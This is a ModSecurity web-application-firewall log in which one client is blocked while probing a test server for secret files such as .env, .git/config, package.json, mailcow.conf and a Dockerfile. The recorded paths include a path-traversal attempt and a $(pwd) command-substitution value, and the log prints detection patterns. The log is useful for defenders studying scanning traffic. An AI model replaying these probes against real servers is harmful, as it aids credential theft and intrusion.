[Sun Mar 22 01:05:58.852620 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4AAAAAU&quot;]
[Sun Mar 22 01:05:58.852747 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4AAAAAU&quot;]
[Sun Mar 22 01:05:58.874992 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4QAAAAU&quot;]
[Sun Mar 22 01:05:58.875196 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4QAAAAU&quot;]
[Sun Mar 22 01:05:58.875345 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4QAAAAU&quot;]
[Sun Mar 22 01:05:58.919513 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4wAAAAU&quot;]
[Sun Mar 22 01:05:58.919713 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4wAAAAU&quot;]
[Sun Mar 22 01:05:58.919856 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4wAAAAU&quot;]
[Sun Mar 22 01:05:58.942039 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg5AAAAAU&quot;]
[Sun Mar 22 01:05:58.942256 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg5AAAAAU&quot;]
[Sun Mar 22 01:05:58.942405 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg5AAAAAU&quot;]
[Sun Mar 22 01:05:58.964411 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg5QAAAAU&quot;]
[Sun Mar 22 01:05:58.964603 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg5QAAAAU&quot;]
[Sun Mar 22 01:05:58.964726 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg5QAAAAU&quot;]
[Sun Mar 22 01:05:59.098368 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg6wAAAAU&quot;]
[Sun Mar 22 01:05:59.098583 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg6wAAAAU&quot;]
[Sun Mar 22 01:05:59.098825 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg6wAAAAU&quot;]
[Sun Mar 22 01:05:59.098950 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg6wAAAAU&quot;]
[Sun Mar 22 01:05:59.505553 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /var/task/package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/task/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_QAAAAU&quot;]
[Sun Mar 22 01:05:59.505739 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/task/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_QAAAAU&quot;]
[Sun Mar 22 01:05:59.505865 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/task/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_QAAAAU&quot;]
[Sun Mar 22 01:05:59.527919 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /app/package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_gAAAAU&quot;]
[Sun Mar 22 01:05:59.528111 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_gAAAAU&quot;]
[Sun Mar 22 01:05:59.528229 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_gAAAAU&quot;]
[Sun Mar 22 01:05:59.550613 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /$(pwd)/package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_wAAAAU&quot;]
[Sun Mar 22 01:05:59.550886 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_wAAAAU&quot;]
[Sun Mar 22 01:05:59.551046 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/package.json&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70Dg_wAAAAU&quot;]
[Sun Mar 22 01:05:59.846562 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow-dockerized/mailcow.conf&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhDAAAAAU&quot;]
[Sun Mar 22 01:05:59.846966 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow-dockerized/mailcow.conf&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhDAAAAAU&quot;]
[Sun Mar 22 01:05:59.847135 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow-dockerized/mailcow.conf&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhDAAAAAU&quot;]
[Sun Mar 22 01:05:59.869268 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;ab8yZ9b4J9WjFZPQ70DhDQAAAAU&quot;]
